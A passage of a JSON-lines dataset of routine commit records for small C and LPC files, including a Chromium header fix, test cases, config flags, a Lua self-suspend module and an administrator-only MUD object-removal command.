export\n","lang":"C","license":"apache-2.0","repos":"blindpirate\/gradle,robinverduijn\/gradle,gradle\/gradle,robinverduijn\/gradle,lsmaira\/gradle,gradle\/gradle,blindpirate\/gradle,gradle\/gradle,gstevey\/gradle,robinverduijn\/gradle,robinverduijn\/gradle,robinverduijn\/gradle,blindpirate\/gradle,robinverduijn\/gradle,robinverduijn\/gradle,gstevey\/gradle,lsmaira\/gradle,lsmaira\/gradle,gstevey\/gradle,lsmaira\/gradle,gradle\/gradle,blindpirate\/gradle,lsmaira\/gradle,lsmaira\/gradle,gradle\/gradle,robinverduijn\/gradle,gstevey\/gradle,gstevey\/gradle,robinverduijn\/gradle,gstevey\/gradle,lsmaira\/gradle,blindpirate\/gradle,gradle\/gradle,gstevey\/gradle,blindpirate\/gradle,robinverduijn\/gradle,gstevey\/gradle,gradle\/gradle,lsmaira\/gradle,robinverduijn\/gradle,blindpirate\/gradle,lsmaira\/gradle,blindpirate\/gradle,gradle\/gradle,gradle\/gradle,lsmaira\/gradle,blindpirate\/gradle,gradle\/gradle,blindpirate\/gradle,gstevey\/gradle"}
{"commit":"191574d42fc281cde241ae33013c9801336e8758","old_file":"net\/spdy\/spdy_http_utils.h","new_file":"net\/spdy\/spdy_http_utils.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NET_SPDY_SPDY_HTTP_UTILS_H_\n#define NET_SPDY_SPDY_HTTP_UTILS_H_\n#pragma once\n\n#include \"net\/spdy\/spdy_framer.h\"\n\nnamespace net {\n\nclass HttpResponseInfo;\nclass HttpRequestInfo;\n\n\/\/ Convert a SpdyHeaderBlock into an HttpResponseInfo.\n\/\/ |headers| input parameter with the SpdyHeaderBlock.\n\/\/ |info| output parameter for the HttpResponseInfo.\n\/\/ Returns true if successfully converted.  False if there was a failure\n\/\/ or if the SpdyHeaderBlock was invalid.\nbool SpdyHeadersToHttpResponse(const spdy::SpdyHeaderBlock& headers,\n                               HttpResponseInfo* response);\n\n\/\/ Create a SpdyHeaderBlock for a Spdy SYN_STREAM Frame from\n\/\/ a HttpRequestInfo block.\nvoid CreateSpdyHeadersFromHttpRequest(const HttpRequestInfo& info,\n                                      spdy::SpdyHeaderBlock* headers,\n                                      bool direct);\n\n}  \/\/ namespace net\n\n#endif  \/\/ NET_SPDY_SPDY_HTTP_UTILS_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NET_SPDY_SPDY_HTTP_UTILS_H_\n#define NET_SPDY_SPDY_HTTP_UTILS_H_\n#pragma once\n\n#include \"net\/spdy\/spdy_framer.h\"\n\nnamespace net {\n\nclass HttpResponseInfo;\nstruct HttpRequestInfo;\n\n\/\/ Convert a SpdyHeaderBlock into an HttpResponseInfo.\n\/\/ |headers| input parameter with the SpdyHeaderBlock.\n\/\/ |info| output parameter for the HttpResponseInfo.\n\/\/ Returns true if successfully converted.  False if there was a failure\n\/\/ or if the SpdyHeaderBlock was invalid.\nbool SpdyHeadersToHttpResponse(const spdy::SpdyHeaderBlock& headers,\n                               HttpResponseInfo* response);\n\n\/\/ Create a SpdyHeaderBlock for a Spdy SYN_STREAM Frame from\n\/\/ a HttpRequestInfo block.\nvoid CreateSpdyHeadersFromHttpRequest(const HttpRequestInfo& info,\n                                      spdy::SpdyHeaderBlock* headers,\n                                      bool direct);\n\n}  \/\/ namespace net\n\n#endif  \/\/ NET_SPDY_SPDY_HTTP_UTILS_H_\n","subject":"Change forward declaration of HttpRequestInfo from class to struct to fix build breakage.","message":"Change forward declaration of HttpRequestInfo from class to struct to\nfix build breakage.\n\nBUG=none\nTEST=none\n\ngit-svn-id: http:\/\/src.chromium.org\/svn\/trunk\/src@59584 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n\nFormer-commit-id: cb97ca6c3e6d589f6d40ad33fdc8afb7a19c6999","lang":"C","license":"bsd-3-clause","repos":"meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser"}
{"commit":"9852e15f303363de9b323a4f60adbab92daabdd8","old_file":"tests\/regression\/36-apron\/99-mine14-strengthening.c","new_file":"tests\/regression\/36-apron\/99-mine14-strengthening.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --set ana.activated[+] apron --set ana.path_sens[+] threadflag --set ana.activated[-] threadJoins --enable ana.apron.threshold_widening --set ana.apron.privatization protection --enable ana.apron.strengthening\n\/\/ Fig 5a from Miné 2014\n\/\/ Example for join strengthening\n#include <pthread.h>\n#include <stdio.h>\n\nint x;\npthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  int top;\n  while(top) {\n    pthread_mutex_lock(&mutex);\n    if(x<100) {\n      x++;\n    }\n    pthread_mutex_unlock(&mutex);\n  }\n  return NULL;\n}\n\n\nint main(void) {\n  int top, top2;\n\n\n  pthread_t id;\n  pthread_t id2;\n  pthread_create(&id, NULL, t_fun, NULL);\n  pthread_create(&id2, NULL, t_fun, NULL);\n  pthread_mutex_lock(&mutex);\n  assert(x <= 100);\n  pthread_mutex_unlock(&mutex);\n  return 0;\n}\n","subject":"Add example that needs Apron heterogeneous join strengthening","message":"Add example that needs Apron heterogeneous join strengthening\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"c2cf47ebbd82bf050d338c73f2d9bcd2de3976d2","old_file":"main.c","new_file":"main.c","old_contents":"#include <stdio.h>\n#include <string.h>\n\n\/\/ Declare functions\nvoid get_input();\n\n\/\/ Global variables\nchar text_input[32];\nint running = 1;\n\n\/\/ Main Section\nint main() {\n\n  while (running == 1) {\n    if (strcmp(text_input, \"q\") == 0) {\n      running = 0;\n      printf(\"Goodbye!\\n\");\n    }\n    else {\n      get_input();\n      printf(\"The message is %s\\n\", text_input);\n    }\n  }\n\n  return 0;\n\n}\n\n\/\/ Define functions\nvoid get_input() {\n\n  \/\/ Get the string\n  printf(\"Please enter a number or (q) to quit\\n\");\n  fgets(text_input, 32, stdin);\n  \n  \/\/ Get the length of the string\n  int length = strlen(text_input) -1;\n\n  \/\/ Remove the newline at the end of the string if it existss\n  if (text_input[length] == '\\n') {\n    text_input[length] = '\\0';\n  }\n}\n","new_contents":"#include <stdio.h>\n#include <string.h>\n\n\/\/ Declare functions\nvoid get_input();\nint is_valid_number();\n\n\/\/ Global variables\nchar text_input[32];\nint running = 1;\n\n\/\/ Main Section\nint main() {\n\n  while (running == 1) {\n    if (strcmp(text_input, \"q\") == 0) {\n      running = 0;\n      printf(\"Goodbye!\\n\");\n    }\n    else {\n      get_input();\n      if(is_valid_number() == 0) {\n        printf(\"The message is %s\\n\", text_input);\n      }\n    }\n  }\n\n  return 0;\n\n}\n\n\/\/ Define functions\nvoid get_input() {\n\n  \/\/ Get the string\n  printf(\"Please enter a number or (q) to quit\\n\");\n  fgets(text_input, 32, stdin);\n  \n  \/\/ Get the length of the string\n  int length = strlen(text_input) -1;\n\n  \/\/ Remove the newline at the end of the string if it existss\n  if (text_input[length] == '\\n') {\n    text_input[length] = '\\0';\n  }\n\n}\n\n\/\/ Check if string is a valid number\nint is_valid_number() {\n\n  char *ptr;\n  long number;\n  number = strtol(text_input, &ptr, 10);\n  \n  if (strlen(ptr) == 0) {\n    return 0;\n  } else {\n    printf(\"Not a valid number\\n\");\n    return 1;\n  }\n\n}\n","subject":"Create function to check if text_input is a valid number","message":"Create function to check if text_input is a valid number\n","lang":"C","license":"mit","repos":"julian-labuschagne\/number_game"}
{"commit":"c2e36b8f4bcbd3a8bec4d5d4bfc6d5a5a669b5c6","old_file":"src\/utils.h","new_file":"src\/utils.h","old_contents":"\/**\n * @file utils.h\n * @brief Storj utilities.\n *\n * Helper utilities\n *\/\n#ifndef STORJ_UTILS_H\n#define STORJ_UTILS_H\n\n#include <assert.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <stdarg.h>\n#include <math.h>\n#include <stdbool.h>\n\n#ifdef _WIN32\n#include <windows.h>\n#include <time.h>\n\nssize_t pread(int fd, void *buf, size_t count, uint64_t offset);\n#else\n#include <sys\/time.h>\n#endif\n\nint hex2str(unsigned length, uint8_t *data, char *buffer);\n\nvoid print_int_array(uint8_t *array, unsigned length);\n\nint str2hex(unsigned length, char *data, uint8_t *buffer);\n\nchar *str_concat_many(int count, ...);\n\nvoid random_buffer(uint8_t *buf, size_t len);\n\nuint64_t shard_size(int hops);\n\nuint64_t get_time_milliseconds();\n\nvoid memset_zero(void *v, size_t n);\n\n#endif \/* STORJ_UTILS_H *\/\n","new_contents":"\/**\n * @file utils.h\n * @brief Storj utilities.\n *\n * Helper utilities\n *\/\n#ifndef STORJ_UTILS_H\n#define STORJ_UTILS_H\n\n#include <assert.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <stdarg.h>\n#include <math.h>\n#include <stdbool.h>\n\n#ifdef _WIN32\n#include <windows.h>\n#include <time.h>\n#include <io.h>\n\nssize_t pread(int fd, void *buf, size_t count, uint64_t offset);\n#else\n#include <sys\/time.h>\n#endif\n\nint hex2str(unsigned length, uint8_t *data, char *buffer);\n\nvoid print_int_array(uint8_t *array, unsigned length);\n\nint str2hex(unsigned length, char *data, uint8_t *buffer);\n\nchar *str_concat_many(int count, ...);\n\nvoid random_buffer(uint8_t *buf, size_t len);\n\nuint64_t shard_size(int hops);\n\nuint64_t get_time_milliseconds();\n\nvoid memset_zero(void *v, size_t n);\n\n#endif \/* STORJ_UTILS_H *\/\n","subject":"Include io.h for mingw builds","message":"Include io.h for mingw builds\n","lang":"C","license":"lgpl-2.1","repos":"braydonf\/libstorj,braydonf\/libstorj-c,Storj\/libstorj-c,braydonf\/libstorj-c,Storj\/libstorj-c,aleitner\/libstorj-c,aleitner\/libstorj-c,braydonf\/libstorj"}
{"commit":"8c47da315e5e6f11bb43c8fa66a2a66fbdaf7b9d","old_file":"percolation\/main.c","new_file":"percolation\/main.c","old_contents":"\/* headers *\/\n#include <stdlib.h>\n#include <time.h>\n\n#include \"lattice.h\"\n#include \"clusters.h\"\n#include \"io_helpers.h\"\n\n\/* main body function *\/\nint main(int argc, char ** argv)\n{\n    int L; \/* square lattice size *\/\n    double p; \/* occupation probability of each lattice site *\/\n    int *lattice; \/* lattice array *\/\n\n    \/* read input arguments; if none provided fallback to default values *\/\n    if (argc == 3) {\n        L = atoi(argv[1]);\n        p = atof(argv[2]);\n    } else {\n        L = 10;\n        p = 0.4;\n    }\n\n    \/* initialize random number generator seed *\/\n    srand(time(NULL));\n\n    \/* allocate lattice *\/\n    lattice = allocate_lattice(L, L);\n\n    \/* populate lattice with given probability *\/\n    populate_lattice(p, lattice, L, L);\n\n    \/* print the generated lattice for visualization *\/\n    print_lattice(lattice, L, L, 1);\n\n    \/* label clusters and print result *\/\n    label_clusters(lattice, L, L);\n    print_lattice(lattice, L, L, 1);\n\n    \/* free memory before leaving *\/\n    free(lattice);\n\n    return 0;\n}\n","new_contents":"\/* headers *\/\n#include <stdlib.h>\n#include <time.h>\n\n#include \"lattice.h\"\n#include \"clusters.h\"\n#include \"io_helpers.h\"\n\n\/* main body function *\/\nint main(int argc, char ** argv)\n{\n    int L; \/* square lattice size *\/\n    double p; \/* occupation probability of each lattice site *\/\n    int *lattice; \/* lattice array *\/\n    unsigned int random_seed; \/* random number generator seed *\/\n\n    \/* read input arguments; if none provided fallback to default values *\/\n    if (argc == 3 || argc == 4) {\n        L = atoi(argv[1]);\n        p = atof(argv[2]);\n        if (argc == 4) {\n            random_seed = atoi(argv[3]);\n        } else {\n            random_seed = (unsigned int)time(NULL);\n        }\n    } else {\n        L = 10;\n        p = 0.4;\n        random_seed = (unsigned int)time(NULL);\n    }\n\n    \/* initialize random number generator seed *\/\n    srand(random_seed);\n\n    \/* allocate lattice *\/\n    lattice = allocate_lattice(L, L);\n\n    \/* populate lattice with given probability *\/\n    populate_lattice(p, lattice, L, L);\n\n    \/* print the generated lattice for visualization *\/\n    print_lattice(lattice, L, L, 1);\n\n    \/* label clusters and print result *\/\n    label_clusters(lattice, L, L);\n    print_lattice(lattice, L, L, 1);\n\n    \/* free memory before leaving *\/\n    free(lattice);\n\n    return 0;\n}\n","subject":"Allow passing RNG seed as program argument","message":"[percolation] Allow passing RNG seed as program argument\n","lang":"C","license":"mit","repos":"cerisola\/fiscomp,cerisola\/fiscomp,cerisola\/fiscomp"}
{"commit":"ffe8c67712cb6a7286de055ecf7ecf90c0984831","old_file":"ch1\/e01-01_hello.c","new_file":"ch1\/e01-01_hello.c","old_contents":"\/*\n * Hello World Program\n * 2013-05-27\n *\/\n\n#include <stdio.h>\n\nint\nmain()\n{\n\tprintf(\"Hello, World!\\g\");\n\treturn 0;\n}\n","new_contents":"\/*\n * Hello World Program\n * 2013-05-27\n *\/\n\n#include <stdio.h>\n\nint\nmain()\n{\n\tprintf(\"Hello, World!\\n\");\n\treturn 0;\n}\n","subject":"Add the BSD make build machinery","message":"Add the BSD make build machinery\n","lang":"C","license":"isc","repos":"chettrick\/tcpl"}
{"commit":"f83df7374019f922bd30cb751b1206c5f934f7d1","old_file":"include\/config\/SkUserConfigManual.h","new_file":"include\/config\/SkUserConfigManual.h","old_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_REDUCE_OPLIST_SPLITTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n\n  \/\/ Staging flags\n  #define SK_LEGACY_PATH_ARCTO_ENDPOINT\n\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","new_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_REDUCE_OPLIST_SPLITTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n\n  \/\/ Staging flags\n  #define SK_LEGACY_PATH_ARCTO_ENDPOINT\n  #define SK_SUPPORT_LEGACY_MATRIX_IMAGEFILTER\n\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","subject":"Add flag to stage api change","message":"Add flag to stage api change\n\nTest: make\n\nBug: 178700363\nChange-Id: I8b22d1436260eafca1819e3210b4bea559be7142\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia"}
{"commit":"259c5e15797f2de45550a037ecc64975a86c4fd9","old_file":"sys\/sun4v\/include\/clock.h","new_file":"sys\/sun4v\/include\/clock.h","old_contents":"\/*-\n * Copyright (c) 2001 Jake Burkholder.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * $FreeBSD$\n *\/\n\n#ifndef\t_MACHINE_CLOCK_H_\n#define\t_MACHINE_CLOCK_H_\n\nextern u_long tick_increment;\nextern u_long tick_freq;\nextern u_long tick_MHz;\n\nextern int adjkerntz;\nextern int wall_cmos_clock;\n\n#endif \/* !_MACHINE_CLOCK_H_ *\/\n","new_contents":"\/*-\n * Copyright (c) 2001 Jake Burkholder.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * $FreeBSD$\n *\/\n\n#ifndef\t_MACHINE_CLOCK_H_\n#define\t_MACHINE_CLOCK_H_\n\nextern u_long tick_increment;\nextern u_long tick_freq;\nextern u_long tick_MHz;\n\n#endif \/* !_MACHINE_CLOCK_H_ *\/\n","subject":"Remove two variables which are handled MI now.","message":"Remove two variables which are handled MI now.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"ad8eee60c7ece602d54a98a904d04455a63e979b","old_file":"cli\/main.c","new_file":"cli\/main.c","old_contents":"#include <stdio.h>\n#include \"ot.h\"\n#include \"otdecode.h\"\n\nint main(int argc, const char * argv[])\n{\n    char buf[1024];\n    fputs(\"Operation 1: \", stdout);\n    fgets(buf, 1024, stdin);\n    \n    char p[64];\n    ot_op* op = ot_new_op(0, p);\n    ot_decode_err err = ot_decode(op, buf);\n    if (err != OT_ERR_NONE) {\n        puts(\"Error when decoding JSON.\");\n        return err;\n    }\n    \n    \n    char buf2[1024];\n    fputs(\"Operation 2: \", stdout);\n    fgets(buf2, 1024, stdin);\n    \n    ot_op* op2 = ot_new_op(0, p);\n    err = ot_decode(op2, buf2);\n    if (err != OT_ERR_NONE) {\n        puts(\"Error when decoding JSON.\");\n        return err;\n    }\n    \n    ot_op* composed = ot_compose(op, op2);\n    char* snapshot = ot_snapshot(composed);\n    puts(\"Composed: \");\n    puts(snapshot);\n    \n    return 0;\n}\n\n","new_contents":"#include <stdio.h>\n#include \"ot.h\"\n#include \"compose.h\"\n#include \"otdecode.h\"\n\nint main(int argc, const char * argv[])\n{\n    char buf[1024];\n    fputs(\"Operation 1: \", stdout);\n    fgets(buf, 1024, stdin);\n    \n    char p[64];\n    ot_op* op = ot_new_op(0, p);\n    ot_decode_err err = ot_decode(op, buf);\n    if (err != OT_ERR_NONE) {\n        puts(\"Error when decoding JSON.\");\n        return err;\n    }\n    \n    \n    char buf2[1024];\n    fputs(\"Operation 2: \", stdout);\n    fgets(buf2, 1024, stdin);\n    \n    ot_op* op2 = ot_new_op(0, p);\n    err = ot_decode(op2, buf2);\n    if (err != OT_ERR_NONE) {\n        puts(\"Error when decoding JSON.\");\n        return err;\n    }\n    \n    ot_op* composed = ot_compose(op, op2);\n    char* snapshot = ot_snapshot(composed);\n    puts(\"Composed: \");\n    puts(snapshot);\n    \n    return 0;\n}\n\n","subject":"Add compose header to CLI","message":"Add compose header to CLI\n","lang":"C","license":"apache-2.0","repos":"polyphony-ot\/libot"}
{"commit":"d31bc5e3c46005c363c656c31436a29ddd975c7f","old_file":"test\/srcs\/11-omp-for.c","new_file":"test\/srcs\/11-omp-for.c","old_contents":"#include <omp.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#include <math.h>\nint main()\n{\n    double sinTable[256];\n\n#pragma omp parallel for\n    for(int n=0; n<256; ++n)\n        sinTable[n] = sin(2 * M_PI * n \/ 256);\n\n    \/\/ the table is now initialized\n}\n\n\/\/ RUN: clang -fopenmp -c -g -emit-llvm %s -o %t.1.bc \n\/\/ RUN: opt -instnamer %t.1.bc -o %t.bc\n\/\/ RUN: llvm-epp %t.bc -o %t.profile\n\/\/ RUN: clang -fopenmp -v %t.epp.bc -o %t-exec -lepp-rt -lpthread -lm 2> %t.compile \n\/\/ RUN: %t-exec > %t.log\n\/\/ RUN: llvm-epp -p=%t.profile %t.bc 2> %t.decode\n\/\/ RUN: diff -aub %t.profile %s.txt\n","new_contents":"#include <omp.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#include <math.h>\nint main()\n{\n    double sinTable[256];\n\n#pragma omp parallel for\n    for(int n=0; n<256; ++n)\n        sinTable[n] = sin(2 * M_PI * n \/ 256);\n\n    \/\/ the table is now initialized\n}\n\n\/\/ RUN: clang -fopenmp -c -g -emit-llvm %s -o %t.1.bc \n\/\/ RUN: opt -instnamer %t.1.bc -o %t.bc\n\/\/ RUN: llvm-epp %t.bc -o %t.profile\n\/\/ RUN: clang -fopenmp -v %t.epp.bc -o %t-exec -lepp-rt -lpthread -lm 2> %t.compile \n\/\/ RUN: OMP_NUM_THREADS=4 %t-exec > %t.log\n\/\/ RUN: llvm-epp -p=%t.profile %t.bc 2> %t.decode\n\/\/ RUN: diff -aub %t.profile %s.txt\n","subject":"Fix test case 11 to set the number of omp threads and make it portable","message":"Fix test case 11 to set the number of omp threads and make it portable\n","lang":"C","license":"mit","repos":"sfu-arch\/llvm-epp,sfu-arch\/llvm-epp,sfu-arch\/llvm-epp"}
{"commit":"99f7c07130859fd5ee7b0343e9dedcde48ca9f02","old_file":"extension\/kill.c","new_file":"extension\/kill.c","old_contents":"\/* A simple Lua module to suspend this process. *\/\n#include <sys\/types.h>\n#include <signal.h>\n#include <unistd.h>\n#include <lua.h>\n#include <lauxlib.h>\n\nint l_kill(lua_State *L)\n{\n    \/* Send ourselves the terminal stop signal, equivalent to normally\n     * pressing ^Z. *\/\n    kill(0, SIGTSTP);\n\n    return 0;\n}\n\n\/* The module's functions *\/\nstruct luaL_Reg functions[] = {\n    { \"kill\", l_kill },\n    { 0, 0 },\n};\n\n\/* Called when importing this module *\/\nint luaopen_kill(lua_State *L)\n{\n    luaL_newlib(L, functions);\n\n    return 1;\n}\n","new_contents":"\/* A simple Lua module to suspend this process. *\/\n#include <sys\/types.h>\n#include <signal.h>\n#include <unistd.h>\n#include <lua.h>\n#include <lauxlib.h>\n\nint l_kill(lua_State *L)\n{\n    \/* Send ourselves the terminal stop signal, equivalent to normally\n     * pressing ^Z. *\/\n    kill(0, SIGTSTP);\n    \n    \/* We may have been restored after a window change; pretend we've\n     * received a WINCH. *\/\n    kill(0, SIGWINCH);\n\n    return 0;\n}\n\n\/* The module's functions *\/\nstruct luaL_Reg functions[] = {\n    { \"kill\", l_kill },\n    { 0, 0 },\n};\n\n\/* Called when importing this module *\/\nint luaopen_kill(lua_State *L)\n{\n    luaL_newlib(L, functions);\n\n    return 1;\n}\n","subject":"Handle the terminal resizing while suspended, by sending ourselves a SIGWINCH after restoring.","message":"Handle the terminal resizing while suspended, by sending ourselves a\nSIGWINCH after restoring.\n","lang":"C","license":"mit","repos":"erig0\/textadept-vi,jugglerchris\/textadept-vi,jugglerchris\/textadept-vi"}
{"commit":"fdbf1d2a3ebd2245348063db4f8eed3afb41b508","old_file":"mudlib\/mud\/home\/Text\/sys\/verb\/ooc\/wiz\/system\/onuke.c","new_file":"mudlib\/mud\/home\/Text\/sys\/verb\/ooc\/wiz\/system\/onuke.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2013  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths.h>\n\n#include <account\/paths.h>\n#include <text\/paths.h>\n#include <game\/paths.h>\n\ninherit LIB_RAWVERB;\n\nvoid main(object actor, string args)\n{\n\tobject first;\n\tobject obj;\n\tobject proxy;\n\n\tif (query_user()->query_class() < 3) {\n\t\tsend_out(\"Only an administrator can nuke a subsystem\\n\");\n\t\treturn;\n\t}\n\n\tfirst = KERNELD->first_link(args);\n\n\tif (!first) {\n\t\tsend_out(args + \" owns no objects.\\n\");\n\t\treturn;\n\t}\n\n\tproxy = PROXYD->get_proxy(query_user()->query_name());\n\n\tdo {\n\t\tproxy->destruct_object(first);\n\t} while (first = KERNELD->first_link(args));\n}\n","subject":"Add command to nuke all objects owned by a specific owner","message":"Add command to nuke all objects owned by a specific owner\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
